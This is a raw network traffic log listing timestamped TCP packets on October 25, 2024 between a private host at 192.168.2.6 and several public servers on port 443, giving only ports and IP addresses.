Oct 25, 2024 10:19:29.532951117 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.532955885 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.532980919 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.533008099 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.533890963 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.533905983 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.533942938 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.533947945 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.533957958 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.533983946 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.535573959 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.535588026 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.535655975 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.535661936 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.536628962 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.536645889 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.536676884 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.536684036 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.536700964 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.536727905 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.540105104 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.573467970 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.573486090 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.573569059 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.573580980 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.577373981 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.584008932 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.639205933 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.639467001 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.640407085 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.642539978 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.642560959 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.642632008 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.642672062 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.643445969 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.643469095 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.643503904 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.643516064 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.643534899 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.643565893 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.645138979 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.650427103 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.650448084 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.650578976 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.650610924 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651035070 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651056051 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651207924 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.651222944 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651707888 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.651917934 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651935101 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.651981115 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.651992083 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.652018070 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.652041912 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.652264118 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.652277946 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.652333021 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.652342081 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.652666092 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.653173923 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.653197050 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.653307915 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.653314114 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.653367996 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.654102087 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.654120922 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.654167891 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.654174089 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.654216051 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.654999971 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655015945 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655061960 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.655067921 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655095100 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.655122995 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.655198097 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655213118 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655267954 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.655273914 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.655322075 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.656243086 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.656263113 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.656305075 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.656311035 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.656330109 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.656348944 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.656945944 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.656960964 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.656996012 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.657002926 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.657049894 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.657502890 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.657783031 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.657805920 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.657836914 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.657843113 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.657907963 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.658056021 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.669194937 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.669887066 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.670852900 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.670864105 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.674052000 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.674077988 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.675652027 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.693567038 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.693574905 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.693720102 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.693722010 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.693953991 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.693994045 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.694026947 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.694048882 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.694078922 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.694098949 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.709635019 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.717669964 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.760082006 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.761842966 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.761878014 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.761921883 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.761945963 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.761964083 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762008905 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762214899 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762243986 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762271881 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762276888 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762305021 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762317896 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762418985 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762443066 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762501001 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762512922 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762624979 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762651920 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762675047 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762728930 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.762739897 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.762806892 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.764091969 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.764120102 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.764596939 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.764609098 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.764719963 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.765800953 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.765815973 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.765851021 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.765863895 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.765902042 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.766107082 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.766119003 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.766674042 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.766684055 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.766693115 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.767539978 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.767556906 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.767605066 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.767611027 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.767643929 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.767800093 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.767864943 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.767868996 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.767966986 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.768177986 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.768198967 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.769273996 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.769284964 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.769355059 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.769373894 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.769573927 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.770098925 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770124912 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770160913 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.770165920 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770195961 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.770215034 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.770798922 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770817041 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770873070 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.770879030 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.770912886 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.770922899 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.771790028 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.771811008 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.771861076 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.771867037 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.771902084 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772202015 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772222042 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772278070 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772283077 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772327900 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772450924 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772485971 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772501945 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772505999 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772553921 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772588015 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772819996 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772834063 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772883892 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.772888899 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.772942066 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773027897 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773044109 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773082972 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773087978 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773114920 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773123980 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773252964 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773267984 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773303032 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773320913 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773348093 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773355961 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773907900 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773947954 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.773982048 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.773986101 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774017096 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774030924 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774113894 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774135113 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774174929 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774180889 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774204016 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774226904 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774369955 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774386883 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774430037 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774435043 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774454117 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774475098 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774583101 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774606943 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774636030 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774652004 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774669886 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774684906 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774811983 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774832964 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774866104 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774871111 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.774899960 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.774908066 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775017977 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775037050 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775070906 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775074959 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775105000 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775124073 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775242090 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775258064 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775302887 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775307894 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775336027 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775352955 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775456905 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.775464058 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775481939 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775530100 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.775536060 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.775604010 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.775625944 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.776799917 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.776817083 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.777682066 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.777829885 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.778359890 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.778414965 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.778428078 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.778467894 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.778852940 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.778928041 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.779611111 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.779690027 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.780421972 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.780499935 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.781008959 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.781142950 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.783608913 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.783694983 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.784612894 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.784728050 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.784909964 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.784923077 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.787103891 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.787120104 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.787480116 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.787700891 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.787720919 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.788090944 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.788108110 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.789129019 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.789143085 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.792450905 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.812557936 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.812587023 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.812629938 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.812645912 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.812664986 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.812711000 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.827339888 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.835335970 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.841218948 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.841238022 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.841274023 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.841276884 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.841284990 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.848020077 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.848026037 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.851705074 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.851764917 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.851773024 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.851851940 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.867418051 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.867594957 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.869884968 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.869896889 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.880932093 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.881007910 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.881011963 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.881052971 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.888422966 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.888433933 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.918464899 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.922728062 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.922846079 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:29.922966003 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:29.932766914 CEST	443	50061	52.108.8.12	192.168.2.6
